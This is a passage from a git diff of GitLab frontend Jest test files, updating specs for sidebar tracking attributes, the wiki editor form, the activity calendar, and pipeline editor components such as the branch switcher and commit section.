+ it('sets the proper data tracking attributes when clicking on submenu', () => {
+ const menu = document.querySelector('li[data-track-label="activity"]');
+ const menuLink = menu.querySelector('a');
+
+ menu.classList.add('active');
+ menuLink.click();
+
+ expect(menu.dataset).toMatchObject({
+ trackAction: 'click_menu_item',
+ trackExtra: JSON.stringify({
+ sidebar_display: 'Expanded',
+ menu_display: 'Expanded',
+ }),
+ });
+ });
+ });
+ });
+
+ describe('sidebar is collapsed', () => {
+ beforeEach(() => {
+ document.querySelector('aside.nav-sidebar').classList.add('js-sidebar-collapsed');
+ });
+
+ it('sets the proper data tracking attributes when clicking on menu', () => {
+ const menu = document.querySelector('li[data-track-label="project_information_menu"]');
+ const menuLink = menu.querySelector('a');
+
+ menu.classList.add('is-over', 'is-showing-fly-out');
+ menuLink.click();
+
+ expect(menu.dataset).toMatchObject({
+ trackAction: 'click_menu',
+ trackExtra: JSON.stringify({
+ sidebar_display: 'Collapsed',
+ menu_display: 'Fly out',
+ }),
+ });
+ });
+
+ it('sets the proper data tracking attributes when clicking on submenu', () => {
+ const menu = document.querySelector('li[data-track-label="activity"]');
+ const menuLink = menu.querySelector('a');
+ const submenuList = document.querySelector('ul.sidebar-sub-level-items');
+
+ submenuList.classList.add('fly-out-list');
+ menuLink.click();
+
+ expect(menu.dataset).toMatchObject({
+ trackAction: 'click_menu_item',
+ trackExtra: JSON.stringify({
+ sidebar_display: 'Collapsed',
+ menu_display: 'Fly out',
+ }),
+ });
+ });
+ });
+});
diff --git a/spec/frontend/pages/shared/wikis/components/wiki_form_spec.js b/spec/frontend/pages/shared/wikis/components/wiki_form_spec.js
index 1cac8ef8ee2..f36d6262b5f 100644
--- a/spec/frontend/pages/shared/wikis/components/wiki_form_spec.js
+++ b/spec/frontend/pages/shared/wikis/components/wiki_form_spec.js
@@ -2,15 +2,23 @@ import { GlLoadingIcon, GlModal } from '@gitlab/ui';
import { mount } from '@vue/test-utils';
import axios from 'axios';
import MockAdapter from 'axios-mock-adapter';
+import { mockTracking } from 'helpers/tracking_helper';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import waitForPromises from 'helpers/wait_for_promises';
import ContentEditor from '~/content_editor/components/content_editor.vue';
import WikiForm from '~/pages/shared/wikis/components/wiki_form.vue';
+import {
+ WIKI_CONTENT_EDITOR_TRACKING_LABEL,
+ CONTENT_EDITOR_LOADED_ACTION,
+ SAVED_USING_CONTENT_EDITOR_ACTION,
+} from '~/pages/shared/wikis/constants';
+
import MarkdownField from '~/vue_shared/components/markdown/field.vue';
describe('WikiForm', () => {
let wrapper;
let mock;
+ let trackingSpy;
const findForm = () => wrapper.find('form');
const findTitle = () => wrapper.find('#wiki_title');
@@ -19,9 +27,11 @@ describe('WikiForm', () => {
const findMessage = () => wrapper.find('#wiki_message');
const findSubmitButton = () => wrapper.findByTestId('wiki-submit-button');
const findCancelButton = () => wrapper.findByRole('link', { name: 'Cancel' });
- const findUseNewEditorButton = () => wrapper.findByRole('button', { name: 'Use new editor' });
+ const findUseNewEditorButton = () => wrapper.findByRole('button', { name: 'Use the new editor' });
+ const findDismissContentEditorAlertButton = () =>
+ wrapper.findByRole('button', { name: 'Try this later' });
const findSwitchToOldEditorButton = () =>
- wrapper.findByRole('button', { name: 'Switch to old editor' });
+ wrapper.findByRole('button', { name: 'Switch me back to the classic editor.' });
const findTitleHelpLink = () => wrapper.findByRole('link', { name: 'More Information.' });
const findMarkdownHelpLink = () => wrapper.findByTestId('wiki-markdown-help-link');
@@ -55,15 +65,12 @@ describe('WikiForm', () => {
persisted: true,
title: 'My page',
- content: 'My page content',
+ content: ' My page content ',
format: 'markdown',
path: '/project/path/-/wikis/home',
};
- function createWrapper(
- persisted = false,
- { pageInfo, glFeatures } = { glFeatures: { wikiContentEditor: false } },
- ) {
+ function createWrapper(persisted = false, { pageInfo } = {}) {
wrapper = extendedWrapper(
mount(
WikiForm,
@@ -79,7 +86,6 @@ describe('WikiForm', () => {
...(persisted ? pageInfoPersisted : pageInfoNew),
...pageInfo,
},
- glFeatures,
},
},
{ attachToDocument: true },
@@ -88,6 +94,7 @@ describe('WikiForm', () => {
}
beforeEach(() => {
+ trackingSpy = mockTracking(undefined, null, jest.spyOn);
mock = new MockAdapter(axios);
});
@@ -124,6 +131,12 @@ describe('WikiForm', () => {
expect(findMessage().element.value).toBe('Update My page');
});
+ it('does not trim page content by default', () => {
+ createWrapper(true);
+
+ expect(findContent().element.value).toBe(' My page content ');
+ });
+
it.each`
value | text
${'markdown'} | ${'[Link Title](page-slug)'}
@@ -178,10 +191,10 @@ describe('WikiForm', () => {
describe('when wiki content is updated', () => {
beforeEach(() => {
- createWrapper();
+ createWrapper(true);
const input = findContent();
- input.setValue('Lorem ipsum dolar sit!');
+ input.setValue(' Lorem ipsum dolar sit! ');
input.element.dispatchEvent(new Event('input'));
return wrapper.vm.$nextTick();
@@ -193,13 +206,25 @@ describe('WikiForm', () => {
expect(e.preventDefault).toHaveBeenCalledTimes(1);
});
- it('when form submitted, unsets before unload warning', async () => {
- triggerFormSubmit();
+ describe('form submit', () => {
+ beforeEach(async () => {
+ triggerFormSubmit();
- await wrapper.vm.$nextTick();
+ await wrapper.vm.$nextTick();
+ });
- const e = dispatchBeforeUnload();
- expect(e.preventDefault).not.toHaveBeenCalled();
+ it('when form submitted, unsets before unload warning', async () => {
+ const e = dispatchBeforeUnload();
+ expect(e.preventDefault).not.toHaveBeenCalled();
+ });
+
+ it('does not trigger tracking event', async () => {
+ expect(trackingSpy).not.toHaveBeenCalled();
+ });
+
+ it('does not trim page content', () => {
+ expect(findContent().element.value).toBe(' Lorem ipsum dolar sit! ');
+ });
});
});
@@ -251,9 +276,9 @@ describe('WikiForm', () => {
);
});
- describe('when feature flag wikiContentEditor is enabled', () => {
+ describe('wiki content editor', () => {
beforeEach(() => {
- createWrapper(true, { glFeatures: { wikiContentEditor: true } });
+ createWrapper(true);
});
it.each`
@@ -261,7 +286,7 @@ describe('WikiForm', () => {
${'markdown'} | ${true}
${'rdoc'} | ${false}
`(
- 'switch to new editor button exists: $buttonExists if format is $format',
+ 'gl-alert containing "use new editor" button exists: $buttonExists if format is $format',
async ({ format, buttonExists }) => {
setFormat(format);
@@ -271,6 +296,12 @@ describe('WikiForm', () => {
},
);
+ it('gl-alert containing "use new editor" button is dismissed on clicking dismiss button', async () => {
+ await findDismissContentEditorAlertButton().trigger('click');
+
+ expect(findUseNewEditorButton().exists()).toBe(false);
+ });
+
const assertOldEditorIsVisible = () => {
expect(wrapper.findComponent(ContentEditor).exists()).toBe(false);
expect(wrapper.findComponent(MarkdownField).exists()).toBe(true);
@@ -284,7 +315,7 @@ describe('WikiForm', () => {
);
};
- it('shows old editor by default', assertOldEditorIsVisible);
+ it('shows classic editor by default', assertOldEditorIsVisible);
describe('switch format to rdoc', () => {
beforeEach(async () => {
@@ -293,7 +324,7 @@ describe('WikiForm', () => {
await wrapper.vm.$nextTick();
});
- it('continues to show the old editor', assertOldEditorIsVisible);
+ it('continues to show the classic editor', assertOldEditorIsVisible);
describe('switch format back to markdown', () => {
beforeEach(async () => {
@@ -303,7 +334,7 @@ describe('WikiForm', () => {
});
it(
- 'still shows the old editor and does not automatically switch to the content editor ',
+ 'still shows the classic editor and does not automatically switch to the content editor ',
assertOldEditorIsVisible,
);
});
@@ -328,12 +359,12 @@ describe('WikiForm', () => {
expect(findSubmitButton().props('disabled')).toBe(true);
});
- describe('clicking "switch to old editor"', () => {
+ describe('clicking "switch to classic editor"', () => {
beforeEach(() => {
return findSwitchToOldEditorButton().trigger('click');
});
- it('switches to old editor directly without showing a modal', () => {
+ it('switches to classic editor directly without showing a modal', () => {
expect(wrapper.findComponent(ContentEditor).exists()).toBe(false);
expect(wrapper.findComponent(MarkdownField).exists()).toBe(true);
});
@@ -351,11 +382,12 @@ describe('WikiForm', () => {
expect(wrapper.findComponent(GlLoadingIcon).exists()).toBe(true);
});
+ it('shows a tip to send feedback', () => {
+ expect(wrapper.text()).toContain('Tell us your experiences with the new Markdown editor');
+ });
+
it('shows warnings that the rich text editor is in beta and may not work properly', () => {
expect(wrapper.text()).toContain(
- "Switching will discard any changes you've made in the new editor.",
- );
- expect(wrapper.text()).toContain(
"This editor is in beta and may not display the page's contents properly.",
);
});
@@ -368,6 +400,15 @@ describe('WikiForm', () => {
expect(wrapper.findComponent(ContentEditor).exists()).toBe(true);
});
+ it('sends tracking event when editor loads', async () => {
+ // wait for content editor to load
+ await waitForPromises();
+
+ expect(trackingSpy).toHaveBeenCalledWith(undefined, CONTENT_EDITOR_LOADED_ACTION, {
+ label: WIKI_CONTENT_EDITOR_TRACKING_LABEL,
+ });
+ });
+
it('disables the format dropdown', () => {
expect(findFormat().element.getAttribute('disabled')).toBeDefined();
});
@@ -400,9 +441,19 @@ describe('WikiForm', () => {
});
});
+ it('triggers tracking event on form submit', async () => {
+ triggerFormSubmit();
+
+ await wrapper.vm.$nextTick();
+
+ expect(trackingSpy).toHaveBeenCalledWith(undefined, SAVED_USING_CONTENT_EDITOR_ACTION, {
+ label: WIKI_CONTENT_EDITOR_TRACKING_LABEL,
+ });
+ });
+
it('updates content from content editor on form submit', async () => {
// old value
- expect(findContent().element.value).toBe('My page content');
+ expect(findContent().element.value).toBe(' My page content ');
// wait for content editor to load
await waitForPromises();
@@ -414,7 +465,7 @@ describe('WikiForm', () => {
expect(findContent().element.value).toBe('hello **world**');
});
- describe('clicking "switch to old editor"', () => {
+ describe('clicking "switch to classic editor"', () => {
let modal;
beforeEach(async () => {
@@ -428,7 +479,7 @@ describe('WikiForm', () => {
expect(modal.vm.show).toHaveBeenCalled();
});
- describe('confirming "switch to old editor" in the modal', () => {
+ describe('confirming "switch to classic editor" in the modal', () => {
beforeEach(async () => {
wrapper.vm.contentEditor.tiptapEditor.commands.setContent(
'<p>hello __world__ from content editor</p>',
@@ -440,7 +491,7 @@ describe('WikiForm', () => {
await wrapper.vm.$nextTick();
});
- it('switches to old editor', () => {
+ it('switches to classic editor', () => {
expect(wrapper.findComponent(ContentEditor).exists()).toBe(false);
expect(wrapper.findComponent(MarkdownField).exists()).toBe(true);
});
@@ -451,8 +502,8 @@ describe('WikiForm', () => {
);
});
- it('the old editor retains its old value and does not use the content from the content editor', () => {
- expect(findContent().element.value).toBe('My page content');
+ it('the classic editor retains its old value and does not use the content from the content editor', () => {
+ expect(findContent().element.value).toBe(' My page content ');
});
});
});
diff --git a/spec/frontend/pages/users/activity_calendar_spec.js b/spec/frontend/pages/users/activity_calendar_spec.js
new file mode 100644
index 00000000000..b33e92e14b2
--- /dev/null
+++ b/spec/frontend/pages/users/activity_calendar_spec.js
@@ -0,0 +1,16 @@
+import { getLevelFromContributions } from '~/pages/users/activity_calendar';
+
+describe('getLevelFromContributions', () => {
+ it.each([
+ [0, 0],
+ [1, 1],
+ [9, 1],
+ [10, 2],
+ [19, 2],
+ [20, 3],
+ [30, 4],
+ [99, 4],
+ ])('.getLevelFromContributions(%i, %i)', (count, expected) => {
+ expect(getLevelFromContributions(count)).toBe(expected);
+ });
+});
diff --git a/spec/frontend/pipeline_editor/components/commit/commit_section_spec.js b/spec/frontend/pipeline_editor/components/commit/commit_section_spec.js
index 9e677425807..39081e07e52 100644
--- a/spec/frontend/pipeline_editor/components/commit/commit_section_spec.js
+++ b/spec/frontend/pipeline_editor/components/commit/commit_section_spec.js
@@ -118,7 +118,8 @@ describe('Pipeline Editor | Commit section', () => {
});
it('calls the mutation with the CREATE action', () => {
- expect(mockMutate).toHaveBeenCalledTimes(1);
+ // the extra calls are for updating client queries (currentBranch and lastCommitBranch)
+ expect(mockMutate).toHaveBeenCalledTimes(3);
expect(mockMutate).toHaveBeenCalledWith({
mutation: commitCreate,
update: expect.any(Function),
@@ -138,7 +139,7 @@ describe('Pipeline Editor | Commit section', () => {
});
it('calls the mutation with the UPDATE action', () => {
- expect(mockMutate).toHaveBeenCalledTimes(1);
+ expect(mockMutate).toHaveBeenCalledTimes(3);
expect(mockMutate).toHaveBeenCalledWith({
mutation: commitCreate,
update: expect.any(Function),
@@ -158,7 +159,7 @@ describe('Pipeline Editor | Commit section', () => {
});
it('calls the mutation with the current branch', () => {
- expect(mockMutate).toHaveBeenCalledTimes(1);
+ expect(mockMutate).toHaveBeenCalledTimes(3);
expect(mockMutate).toHaveBeenCalledWith({
mutation: commitCreate,
update: expect.any(Function),
@@ -181,7 +182,7 @@ describe('Pipeline Editor | Commit section', () => {
it('a second commit submits the latest sha, keeping the form updated', async () => {
await submitCommit();
- expect(mockMutate).toHaveBeenCalledTimes(2);
+ expect(mockMutate).toHaveBeenCalledTimes(6);
expect(mockMutate).toHaveBeenCalledWith({
mutation: commitCreate,
update: expect.any(Function),
diff --git a/spec/frontend/pipeline_editor/components/drawer/cards/first_pipeline_card_spec.js b/spec/frontend/pipeline_editor/components/drawer/cards/first_pipeline_card_spec.js
index 8a4f07c4d88..e435c0dcc08 100644
--- a/spec/frontend/pipeline_editor/components/drawer/cards/first_pipeline_card_spec.js
+++ b/spec/frontend/pipeline_editor/components/drawer/cards/first_pipeline_card_spec.js
@@ -1,13 +1,11 @@
import { getByRole } from '@testing-library/dom';
import { mount } from '@vue/test-utils';
import FirstPipelineCard from '~/pipeline_editor/components/drawer/cards/first_pipeline_card.vue';
-import PipelineVisualReference from '~/pipeline_editor/components/drawer/ui/pipeline_visual_reference.vue';
describe('First pipeline card', () => {
let wrapper;
const defaultProvide = {
- ciExamplesHelpPagePath: '/pipelines/examples',
runnerHelpPagePath: '/help/runners',
};
@@ -20,9 +18,9 @@ describe('First pipeline card', () => {
};
const getLinkByName = (name) => getByRole(wrapper.element, 'link', { name }).href;
- const findPipelinesLink = () => getLinkByName(/examples and templates/i);
const findRunnersLink = () => getLinkByName(/make sure your instance has runners available/i);
- const findVisualReference = () => wrapper.findComponent(PipelineVisualReference);
+ const findInstructionsList = () => wrapper.find('ol');
+ const findAllInstructions = () => findInstructionsList().findAll('li');
beforeEach(() => {
createComponent();
@@ -37,11 +35,11 @@ describe('First pipeline card', () => {
});
it('renders the content', () => {
- expect(findVisualReference().exists()).toBe(true);
+ expect(findInstructionsList().exists()).toBe(true);
+ expect(findAllInstructions()).toHaveLength(3);
});
- it('renders the links', () => {
+ it('renders the link', () => {
expect(findRunnersLink()).toContain(defaultProvide.runnerHelpPagePath);
- expect(findPipelinesLink()).toContain(defaultProvide.ciExamplesHelpPagePath);
});
});
diff --git a/spec/frontend/pipeline_editor/components/drawer/ui/pipeline_visual_reference_spec.js b/spec/frontend/pipeline_editor/components/drawer/ui/pipeline_visual_reference_spec.js
deleted file mode 100644
index e4834544484..00000000000
--- a/spec/frontend/pipeline_editor/components/drawer/ui/pipeline_visual_reference_spec.js
+++ /dev/null
@@ -1,31 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import DemoJobPill from '~/pipeline_editor/components/drawer/ui/demo_job_pill.vue';
-import PipelineVisualReference from '~/pipeline_editor/components/drawer/ui/pipeline_visual_reference.vue';
-
-describe('Demo job pill', () => {
- let wrapper;
-
- const createComponent = () => {
- wrapper = shallowMount(PipelineVisualReference);
- };
-
- const findAllDemoJobPills = () => wrapper.findAllComponents(DemoJobPill);
-
- beforeEach(() => {
- createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('renders all stage names', () => {
- expect(wrapper.text()).toContain(wrapper.vm.$options.i18n.stageNames.build);
- expect(wrapper.text()).toContain(wrapper.vm.$options.i18n.stageNames.test);
- expect(wrapper.text()).toContain(wrapper.vm.$options.i18n.stageNames.deploy);
- });
-
- it('renders all job pills', () => {
- expect(findAllDemoJobPills()).toHaveLength(4);
- });
-});
diff --git a/spec/frontend/pipeline_editor/components/editor/text_editor_spec.js b/spec/frontend/pipeline_editor/components/editor/text_editor_spec.js
index 7a5b01fb04a..6f9245e39aa 100644
--- a/spec/frontend/pipeline_editor/components/editor/text_editor_spec.js
+++ b/spec/frontend/pipeline_editor/components/editor/text_editor_spec.js
@@ -9,6 +9,7 @@ import {
mockCommitSha,
mockProjectPath,
mockProjectNamespace,
+ mockDefaultBranch,
} from '../../mock_data';
describe('Pipeline Editor | Text editor component', () => {
@@ -32,12 +33,14 @@ describe('Pipeline Editor | Text editor component', () => {
},
};
- const createComponent = (opts = {}, mountFn = shallowMount) => {
+ const createComponent = (glFeatures = {}, mountFn = shallowMount) => {
wrapper = mountFn(TextEditor, {
provide: {
projectPath: mockProjectPath,
projectNamespace: mockProjectNamespace,
ciConfigPath: mockCiConfigPath,
+ defaultBranch: mockDefaultBranch,
+ glFeatures,
},
attrs: {
value: mockCiYml,
@@ -54,7 +57,6 @@ describe('Pipeline Editor | Text editor component', () => {
stubs: {
EditorLite: MockEditorLite,
},
- ...opts,
});
};
@@ -66,7 +68,6 @@ describe('Pipeline Editor | Text editor component', () => {
afterEach(() => {
wrapper.destroy();
- wrapper = null;
mockUse.mockClear();
mockRegisterCiSchema.mockClear();
@@ -100,25 +101,37 @@ describe('Pipeline Editor | Text editor component', () => {
});
});
- describe('register CI schema', () => {
- beforeEach(async () => {
- createComponent();
-
- // Since the editor will have already mounted, the event will have fired.
- // To ensure we properly test this, we clear the mock and re-remit the event.
- mockRegisterCiSchema.mockClear();
- mockUse.mockClear();
+ describe('CI schema', () => {
+ describe('when `schema_linting` feature flag is on', () => {
+ beforeEach(() => {
+ createComponent({ schemaLinting: true });
+ // Since the editor will have already mounted, the event will have fired.
+ // To ensure we properly test this, we clear the mock and re-remit the event.
+ mockRegisterCiSchema.mockClear();
+ mockUse.mockClear();
+ findEditor().vm.$emit(EDITOR_READY_EVENT);
+ });
- findEditor().vm.$emit(EDITOR_READY_EVENT);
+ it('configures editor with syntax highlight', () => {
+ expect(mockUse).toHaveBeenCalledTimes(1);
+ expect(mockRegisterCiSchema).toHaveBeenCalledTimes(1);
+ expect(mockRegisterCiSchema).toHaveBeenCalledWith({
+ projectNamespace: mockProjectNamespace,
+ projectPath: mockProjectPath,
+ ref: mockCommitSha,
+ });
+ });
});
- it('configures editor with syntax highlight', async () => {
- expect(mockUse).toHaveBeenCalledTimes(1);
- expect(mockRegisterCiSchema).toHaveBeenCalledTimes(1);
- expect(mockRegisterCiSchema).toHaveBeenCalledWith({
- projectNamespace: mockProjectNamespace,
- projectPath: mockProjectPath,
- ref: mockCommitSha,
+ describe('when `schema_linting` feature flag is off', () => {
+ beforeEach(() => {
+ createComponent();
+ findEditor().vm.$emit(EDITOR_READY_EVENT);
+ });
+
+ it('does not call the register CI schema function', () => {
+ expect(mockUse).not.toHaveBeenCalled();
+ expect(mockRegisterCiSchema).not.toHaveBeenCalled();
});
});
});
diff --git a/spec/frontend/pipeline_editor/components/file-nav/branch_switcher_spec.js b/spec/frontend/pipeline_editor/components/file-nav/branch_switcher_spec.js
index d6763a7de41..e731ad8695e 100644
--- a/spec/frontend/pipeline_editor/components/file-nav/branch_switcher_spec.js
+++ b/spec/frontend/pipeline_editor/components/file-nav/branch_switcher_spec.js
@@ -11,7 +11,7 @@ import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
import BranchSwitcher from '~/pipeline_editor/components/file_nav/branch_switcher.vue';
import { DEFAULT_FAILURE } from '~/pipeline_editor/constants';
-import getAvailableBranches from '~/pipeline_editor/graphql/queries/available_branches.graphql';
+import getAvailableBranchesQuery from '~/pipeline_editor/graphql/queries/available_branches.graphql';
import {
mockBranchPaginationLimit,
mockDefaultBranch,
@@ -22,6 +22,7 @@ import {
mockTotalBranches,
mockTotalBranchResults,
mockTotalSearchResults,
+ mockNewBranch,
} from '../../mock_data';
const localVue = createLocalVue();
@@ -31,9 +32,12 @@ describe('Pipeline editor branch switcher', () => {
let wrapper;
let mockApollo;
let mockAvailableBranchQuery;
+ let mockCurrentBranchQuery;
+ let mockLastCommitBranchQuery;
const createComponent = (
- { isQueryLoading, mountFn, options } = {
+ { currentBranch, isQueryLoading, mountFn, options } = {
+ currentBranch: mockDefaultBranch,
isQueryLoading: false,
mountFn: shallowMount,
options: {},
@@ -58,8 +62,8 @@ describe('Pipeline editor branch switcher', () => {
},
data() {
return {
- branches: ['main'],
- currentBranch: mockDefaultBranch,
+ availableBranches: ['main'],
+ currentBranch,
};
},
...options,
@@ -67,8 +71,18 @@ describe('Pipeline editor branch switcher', () => {
};
const createComponentWithApollo = (mountFn = shallowMount) => {
- const handlers = [[getAvailableBranches, mockAvailableBranchQuery]];
- mockApollo = createMockApollo(handlers);
+ const handlers = [[getAvailableBranchesQuery, mockAvailableBranchQuery]];
+ const resolvers = {
+ Query: {
+ currentBranch() {
+ return mockCurrentBranchQuery();
+ },
+ lastCommitBranch() {
+ return mockLastCommitBranchQuery();
+ },
+ },
+ };
+ mockApollo = createMockApollo(handlers, resolvers);
createComponent({
mountFn,
@@ -76,11 +90,6 @@ describe('Pipeline editor branch switcher', () => {
localVue,
apolloProvider: mockApollo,
mocks: {},
- data() {
- return {
- currentBranch: mockDefaultBranch,
- };
- },
},
});
};
@@ -90,15 +99,40 @@ describe('Pipeline editor branch switcher', () => {
const findLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
const findSearchBox = () => wrapper.findComponent(GlSearchBoxByType);
const findInfiniteScroll = () => wrapper.findComponent(GlInfiniteScroll);
+ const defaultBranchInDropdown = () => findDropdownItems().at(0);
+
+ const setMockResolvedValues = ({ availableBranches, currentBranch, lastCommitBranch }) => {
+ if (availableBranches) {
+ mockAvailableBranchQuery.mockResolvedValue(availableBranches);
+ }
+
+ if (currentBranch) {
+ mockCurrentBranchQuery.mockResolvedValue(currentBranch);
+ }
+
+ mockLastCommitBranchQuery.mockResolvedValue(lastCommitBranch || '');
+ };
beforeEach(() => {
mockAvailableBranchQuery = jest.fn();
+ mockCurrentBranchQuery = jest.fn();
+ mockLastCommitBranchQuery = jest.fn();
});
afterEach(() => {
wrapper.destroy();
});
+ const testErrorHandling = () => {
+ expect(wrapper.emitted('showError')).toBeDefined();
+ expect(wrapper.emitted('showError')[0]).toEqual([
+ {
+ reasons: [wrapper.vm.$options.i18n.fetchError],
+ type: DEFAULT_FAILURE,
+ },
+ ]);
+ };
+
describe('when querying for the first time', () => {
beforeEach(() => {
createComponentWithApollo();
@@ -111,7 +145,10 @@ describe('Pipeline editor branch switcher', () => {
describe('after querying', () => {
beforeEach(async () => {
- mockAvailableBranchQuery.mockResolvedValue(mockProjectBranches);
+ setMockResolvedValues({
+ availableBranches: mockProjectBranches,
+ currentBranch: mockDefaultBranch,
+ });
createComponentWithApollo(mount);
await waitForPromises();
});
@@ -126,10 +163,8 @@ describe('Pipeline editor branch switcher', () => {
});
it('renders current branch with a check mark', () => {
- const defaultBranchInDropdown = findDropdownItems().at(0);
-
- expect(defaultBranchInDropdown.text()).toBe(mockDefaultBranch);
- expect(defaultBranchInDropdown.props('isChecked')).toBe(true);
+ expect(defaultBranchInDropdown().text()).toBe(mockDefaultBranch);
+ expect(defaultBranchInDropdown().props('isChecked')).toBe(true);
});
it('does not render check mark for other branches', () => {
@@ -142,7 +177,10 @@ describe('Pipeline editor branch switcher', () => {
describe('on fetch error', () => {
beforeEach(async () => {
- mockAvailableBranchQuery.mockResolvedValue(new Error());
+ setMockResolvedValues({
+ availableBranches: new Error(),
+ currentBranch: mockDefaultBranch,
+ });
createComponentWithApollo();
await waitForPromises();
});
@@ -152,20 +190,17 @@ describe('Pipeline editor branch switcher', () => {
});
it('shows an error message', () => {
- expect(wrapper.emitted('showError')).toBeDefined();
- expect(wrapper.emitted('showError')[0]).toEqual([
- {
- reasons: [wrapper.vm.$options.i18n.fetchError],
- type: DEFAULT_FAILURE,
- },
- ]);
+ testErrorHandling();
});
});
describe('when switching branches', () => {
beforeEach(async () => {
jest.spyOn(window.history, 'pushState').mockImplementation(() => {});
- mockAvailableBranchQuery.mockResolvedValue(mockProjectBranches);
+ setMockResolvedValues({
+ availableBranches: mockProjectBranches,
+ currentBranch: mockDefaultBranch,
+ });
createComponentWithApollo(mount);
await waitForPromises();
});
@@ -212,14 +247,32 @@ describe('Pipeline editor branch switcher', () => {
describe('when searching', () => {
beforeEach(async () => {
- mockAvailableBranchQuery.mockResolvedValue(mockProjectBranches);
+ setMockResolvedValues({
+ availableBranches: mockProjectBranches,
+ currentBranch: mockDefaultBranch,
+ });
createComponentWithApollo(mount);
await waitForPromises();
+ });
+
+ afterEach(() => {
+ mockAvailableBranchQuery.mockClear();
+ });
+
+ it('shows error message on fetch error', async () => {
+ mockAvailableBranchQuery.mockResolvedValue(new Error());
+
+ findSearchBox().vm.$emit('input', 'te');
+ await waitForPromises();
- mockAvailableBranchQuery.mockResolvedValue(mockSearchBranches);
+ testErrorHandling();
});
describe('with a search term', () => {
+ beforeEach(async () => {
+ mockAvailableBranchQuery.mockResolvedValue(mockSearchBranches);
+ });
+
it('calls query with correct variables', async () => {
findSearchBox().vm.$emit('input', 'te');
await waitForPromises();
@@ -253,6 +306,7 @@ describe('Pipeline editor branch switcher', () => {
describe('without a search term', () => {
beforeEach(async () => {
+ mockAvailableBranchQuery.mockResolvedValue(mockSearchBranches);
findSearchBox().vm.$emit('input', 'te');
await waitForPromises();
@@ -296,7 +350,10 @@ describe('Pipeline editor branch switcher', () => {
describe('when scrolling to the bottom of the list', () => {
beforeEach(async () => {
- mockAvailableBranchQuery.mockResolvedValue(mockProjectBranches);
+ setMockResolvedValues({
+ availableBranches: mockProjectBranches,
+ currentBranch: mockDefaultBranch,
+ });
createComponentWithApollo();
await waitForPromises();
});
@@ -326,6 +383,15 @@ describe('Pipeline editor branch switcher', () => {
searchPattern: '*',
});
});
+
+ it('shows error message on fetch error', async () => {
+ mockAvailableBranchQuery.mockResolvedValue(new Error());
+
+ findInfiniteScroll().vm.$emit('bottomReached');
+ await waitForPromises();
+
+ testErrorHandling();
+ });
});
describe('when search term exists', () => {
@@ -343,4 +409,35 @@ describe('Pipeline editor branch switcher', () => {
});
});
});
+
+ describe('when committing a new branch', () => {
+ const createNewBranch = async () => {
+ setMockResolvedValues({
+ currentBranch: mockNewBranch,
+ lastCommitBranch: mockNewBranch,
+ });
+ await wrapper.vm.$apollo.queries.currentBranch.refetch();
+ await wrapper.vm.$apollo.queries.lastCommitBranch.refetch();
+ };
+
+ beforeEach(async () => {
+ setMockResolvedValues({
+ availableBranches: mockProjectBranches,
+ currentBranch: mockDefaultBranch,
+ });
+ createComponentWithApollo(mount);
+ await waitForPromises();
+ await createNewBranch();
+ });
+
+ it('sets new branch as current branch', () => {
+ expect(defaultBranchInDropdown().text()).toBe(mockNewBranch);
+ expect(defaultBranchInDropdown().props('isChecked')).toBe(true);
+ });
+
+ it('adds new branch to branch switcher', () => {
+ expect(defaultBranchInDropdown().text()).toBe(mockNewBranch);
+ expect(findDropdownItems()).toHaveLength(mockTotalBranchResults + 1);
+ });
+ });
});
diff --git a/spec/frontend/pipeline_editor/mock_data.js b/spec/frontend/pipeline_editor/mock_data.js
index e08fce3ceb9..cadcdf6ae2e 100644
--- a/spec/frontend/pipeline_editor/mock_data.js
+++ b/spec/frontend/pipeline_editor/mock_data.js
@@ -5,6 +5,7 @@ export const mockProjectNamespace = 'user1';
export const mockProjectPath = 'project1';
export const mockProjectFullPath = `${mockProjectNamespace}/${mockProjectPath}`;
export const mockDefaultBranch = 'main';
+export const mockNewBranch = 'new-branch';
export const mockNewMergeRequestPath = '/-/merge_requests/new';
export const mockCommitSha = 'aabbccdd';
export const mockCommitNextSha = 'eeffgghh';
diff --git a/spec/frontend/pipelines/components/dag/mock_data.js b/spec/frontend/pipelines/components/dag/mock_data.js
index e7e93804195..f27e7cf3d6b 100644
--- a/spec/frontend/pipelines/components/dag/mock_data.js
+++ b/spec/frontend/pipelines/components/dag/mock_data.js
@@ -398,6 +398,8 @@ export const multiNote = {
},
};
+export const missingJob = 'missing_job';
+
/*
It is important that the base include parallel jobs
as well as non-parallel jobs with spaces in the name to prevent
@@ -657,4 +659,16 @@ export const mockParsedGraphQLNodes = [
],
__typename: 'CiGroup',
},
+ {
+ category: 'production',
+ name: 'production_e',
+ size: 1,
+ jobs: [
+ {
+ name: 'production_e',
+ needs: [missingJob],
+ },
+ ],
+ __typename: 'CiGroup',
+ },
];
diff --git a/spec/frontend/pipelines/graph/graph_component_wrapper_spec.js b/spec/frontend/pipelines/graph/graph_component_wrapper_spec.js
index 4914a9a1ced..bb7e27b5ec2 100644
--- a/spec/frontend/pipelines/graph/graph_component_wrapper_spec.js
+++ b/spec/frontend/pipelines/graph/graph_component_wrapper_spec.js
@@ -5,6 +5,7 @@ import VueApollo from 'vue-apollo';
import { useLocalStorageSpy } from 'helpers/local_storage_helper';
import createMockApollo from 'helpers/mock_apollo_helper';
import getPipelineDetails from 'shared_queries/pipelines/get_pipeline_details.query.graphql';
+import getUserCallouts from '~/graphql_shared/queries/get_user_callouts.query.graphql';
import {
IID_FAILURE,
LAYER_VIEW,
@@ -17,7 +18,6 @@ import GraphViewSelector from '~/pipelines/components/graph/graph_view_selector.
import StageColumnComponent from '~/pipelines/components/graph/stage_column_component.vue';
import LinksLayer from '~/pipelines/components/graph_shared/links_layer.vue';
import * as parsingUtils from '~/pipelines/components/parsing_utils';
-import getUserCallouts from '~/pipelines/graphql/queries/get_user_callouts.query.graphql';
import { mapCallouts, mockCalloutsResponse, mockPipelineResponse } from './mock_data';
const defaultProvide = {
diff --git a/spec/frontend/pipelines/graph/linked_pipeline_spec.js b/spec/frontend/pipelines/graph/linked_pipeline_spec.js
index 96f2cd1e371..c7d95526a0c 100644
--- a/spec/frontend/pipelines/graph/linked_pipeline_spec.js
+++ b/spec/frontend/pipelines/graph/linked_pipeline_spec.js
@@ -14,6 +14,7 @@ describe('Linked pipeline', () => {
let wrapper;
